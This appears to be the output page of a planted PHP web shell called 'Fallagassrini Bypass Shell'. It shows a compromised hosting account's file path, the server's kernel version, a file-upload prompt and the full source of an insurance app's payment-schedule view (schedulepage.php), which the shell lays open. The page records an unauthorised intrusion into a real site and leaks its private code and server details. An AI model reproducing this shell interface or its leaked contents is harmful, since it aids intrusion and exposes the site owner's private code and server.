? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/views/Settings/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/views/Settings/schedulepage.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?> 
<script>
function add_schedule(rwd)
{
    
     
  $("#viewReminder1").load("<?= site_url('master/check_permissions/') ?>"+"/"+rwd,function(data)
  {
  if(data==1)
       {
 $("#schedule").load("<?= site_url('settings/addschedulepage/') ?>");
       }
       
  });
}



function delschedule(rwd,table, field,pageno)

{
  $("#viewReminder1").load("<?= site_url('master/check_permissions/') ?>"+"/"+rwd,function(data)
  {
  if(data==1)
       {
 $("#schedule").load("<?= site_url('settings/deleteschedule/') ?>" +"/" +table + "/" + field+ "/"  + pageno,function(){

      viewschedulde(pageno,field,"");
  });
       }
       
  });



}

function editschedule(rwd,field,pageno,field2,text)
{

    
  $("#viewReminder1").load("<?= site_url('master/check_permissions/') ?>"+"/"+rwd,function(data)
  {
  if(data==1)
       {
$("#schedule").load("<?= site_url('settings/Get_editschedule/') ?>" +"/"  + field + "/"  + pageno+"/"  + field2 + "/"  + text);
       }
       
  });


}
function view_sche(rwd,field,pageno,field2,text)
{

  $("#viewReminder1").load("<?= site_url('master/check_permissions/') ?>"+"/"+rwd,function(data)
  {
  if(data==1)
       {
 $("#schedule").load("<?= site_url('settings/Get_viewschedule/') ?>" +"/"  + field + "/"  + pageno+"/"  + field2 + "/"  + text);
       }
       
  });

}

function showpolidiv()
 {
        $("#polidiv").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
        $("#polidiv").load("<?= site_url('policies/ajaxload/searchpoli/broking_slip/') ?>");
        $("#click").colorbox({width:"75%",height:"70%", inline:true, href:"#polidiv"});
 }
 function searchpolicyno(serctext,seloption)
{

      $("#polilist").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');

 serctext = serctext.replace(/ /g,"~");
    serctext = serctext.replace(/\//g,"_");
    $('#polilist').load("<?php echo site_url('policies/listsearchpoli/'); ?>/"+  seloption  + "/" + serctext);


}
function usepoli(polino,poliid,cname,cover,qref)
{
    
    $("input#policy-no").val(polino);
      $("input#policyid").val(poliid);
      $("#qref").val(qref);
        document.getElementById('schedet').innerHTML="<fieldset><li><label>Customer Name</label>"+cname+"</li>\n\
    <li><label>Cover Name</label>"+cover+"</li><li><label>Quotaion Reference</label>"+qref+"</li>\n\
</fieldset>";
      $.fn.colorbox.close();


}

function Insert_schedule()
{


    var policyno=document.getElementById('policyno').value ;
    var date=document.getElementById('activityDate').value ;
    var amount=document.getElementById('amount').value ;
    var before=document.getElementById('before').value ;
    var policy_id=document.getElementById('policyid').value ;
    if(isNaN(amount))
	{
		alert('Enter only integer in date before Field')
		return false;
	}
       else if(isNaN(before))
	{
		alert('Enter only integer in Alert before Field')
		return false;
	}
    else
        {

                if(validateform('policyno','amount'))
                {

                    $.post("<?php echo site_url('settings/insertschedule/'); ?>",
                    {
                        'date':date,'amount':amount,'before':before,'pid':policy_id
                    },
                    function(data)
                    {
                        alert(data);
                        showschedule(1,'policy_id','');
//                        document.getElementById('policy-no').value="";
//                        document.getElementById('activityDate').value="<?php echo date('d-m-Y'); ?>"
//                        document.getElementById('amount').value="" ;


                    });
                }

           }
}
function viewschedulde(pageno,field,text)
{
  $("#schedule").load("<?= site_url('settings/viewschedulde/') ?>" +"/"  + pageno + "/"+field+"/"+text);
}
function searchschedule(pageno,serctext,seloption)
{
   if(seloption=='date')
            {
               serctext=serctext.replace(/\//gi,'-')
            }
   serctext = serctext.replace(/ /g,"~");
   serctext = serctext.replace(/\//g,"_");
    $("#schedule").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
    $('#schedule').load("<?php echo site_url('settings/searchschedulde/'); ?>/"+pageno + "/" + seloption + "/" +serctext );


}

function usepolicybynoforclaim(code)
    {
        if(code=="")
        {
            alert("Please enter the Policy No")
            return false;
        }
        else
            {
                code=code.replace(/\//gi,"~");
                $.ajax({

                   type: "POST",
                   url: "<?= site_url('policies/findpolicybyno/') ?>/"+code,
                   success: function(msg){

                       if(msg=="")
                       {
                        alert("No Policy with policy no "+code)
                       }

                       else
                       {
                       var retresult=msg.split('~');
                       $("input#policyno").val(retresult[0]);
                      $("input#policyid").val(retresult[1]);
                      $.fn.colorbox.close();
                      document.getElementById('enddet').innerHTML="<fieldset><li><label>Customer Name</label>"+retresult[2]+"</li>\n\
                      <li><label>Cover Name</label>"+retresult[4]+"</li><li><label>Quotaion Reference</label>"+retresult[3]+"</li>\n\
                      <li><label>Claim Ref. No</label><label>--Auto Generated--</label></li><input type='hidden' name='claimsref' value='"+retresult[3]+"'/></li></fieldset>";


                       }




                   }


                   });
            }

    }



</script>

<div class="select-bar">
		<label>
                    <img src="<?=base_url()?>/assets/images/add-icon.png" title="Add New"  class="clickimage" onclick="add_schedule(1)" alt="Add New" align = "top" width="25" height="25"  /></label>
      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

     <label> Search For <input type="text" name="search" id="search" style="background-image: none;"> in <select id ="selectsearch" name="selectsearch">
                <option value="all">All</option>
             <option value="insured">Insured</option>
             <option value="policynote.policyno">Policy No.</option>
             <option value="covers.cover">Cover</option>

    <option value="date">Date</option>
     <option value="activities.amount">Amount</option>
    </select>
</label>
    <label for="submit">
        <button type="submit" class="clickimage" id="submit" onclick="searchschedule(<?php echo $currpage; ?>,document.getElementById('search').value,document.getElementById('selectsearch').value);">Search</button></label>



</div>

<fieldset><legend>View Payment Schedule</legend>


<table class="sort">
 <caption>Payment Schedule</caption>
        <tr>
            <th>Sl No.</th>
            <th>Policy No.</th>
            <th>Insured</th>
            <th>Type of Cover</th>
            <th>Schedule Date</th>

            <th>Amount</th>
            <th>Action</th>
        </tr>




    <?php
        $i=(($currpage-1) * 10);
        foreach ($schlist as $schedule)
        {
            $i=$i+1;
             $sche_dat = $this->mastermodel->convdatformat($schedule['date']);


                       $pid=$schedule['policy_id'];
                       $covername= $this->mastermodel->get_cover($pid);
                       $cname=$covername->cover;
                       $custname=$covername->CustomerName;


                        $policy_no= $this->customermodel->getSingleFieldValue('policynote','policyno','id',$pid);



            echo "<tr><td>".$i."</td><td>".$policy_no ."</td>";
            ?>
            <td id="myTd" style=" cursor: pointer;color:#2756c1" onclick="view_sche(0,'<?=$schedule['id']?>','<?php echo $currpage ?>','<?=$field2 ?>','<?= $text ?>');"><?php echo $custname ?></td>
            
            <?php
            echo"<td>".$cname."</td><td>".$sche_dat."</td><td>".$schedule['amount']."</td><td>";
            ?>
            <img src="<?=base_url()?>/assets/images/edit-icon.gif" id="editRem"  title="Edit" width="20" height="20" alt="Edit" align = "center" onclick="editschedule(1,'<?=$schedule['id']?>','<?php echo $currpage ?>','<?=$field2 ?>','<?= $text ?>');" class="clickimage"  />&nbsp;&nbsp;&nbsp;
            <img src="<?=base_url()?>/assets/images/delete-icon.png"  title="Delete" width="20" height="20" alt="Delete" class="clickimage"  onclick="return confirm('Are you sure want to delete this record?'),delschedule(2,'activities',<?=$schedule['id']?>,<?php echo $currpage ?>);" align = "center"/>
            <?php
            echo "</td></tr>";
        }
    ?>




</table>
</fieldset>





<div style="width:75%; height:30px; float:right;">
  <ul>

    <li class="pagsel" onclick="viewschedulde('1','<?=$field2 ?>','<?=$text ?>')"> <img src="<?php echo base_url() ?>/assets/images/first.gif"/> </li>
    <li class="pagsel" <?php if($currpage>0){ ?> onclick="viewschedulde('<?php echo $currpage-1 ?>','<?=$field2 ?>','<?=$text ?>')" <?php } ?> > <img src="<?php echo base_url() ?>/assets/images/prev.gif"/> </li>
    <?php

    $totpage=ceil($totrecord/10);

    $arr= $this->settingsmodel->getmaxminlist($currpage,$totpage,4);

    $myarray=$arr['listnos'];
    for($i=$myarray[0]; $i<=$myarray[1]; $i++)
    {
      if($currpage==$i )
      {
	?> <li class="pagsel"> <?php echo $i ?></li>
	<?php
      }
      else
      {
	?> <li class="pag" onclick="viewschedulde('<?php echo $i ?>' ,'<?=$field2 ?>','<?=$text ?>')">  <?php echo $i ?></li>
	<?php
      }
    }
    ?>

   <li class="pagsel" <?php if($currpage<$totpage){ ?>  onclick="viewschedulde('<?php echo $currpage+1 ?>' ,'<?=$field2 ?>','<?=$text ?>')"<?php } ?>> <img style="vertical-align:top" src="<?php echo base_url() ?>/assets/images/next.gif"/> </li>
    <li class="pagsel" onclick="viewschedulde('<?php echo $totpage ?>','<?=$field2 ?>','<?=$text ?>')"><img src="<?php echo base_url() ?>/assets/images/last.gif"/> </li>

  </ul>
</div>
<div style="display:none;" id="viewReminder1"></div>
<div id="polidiv"> </div>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net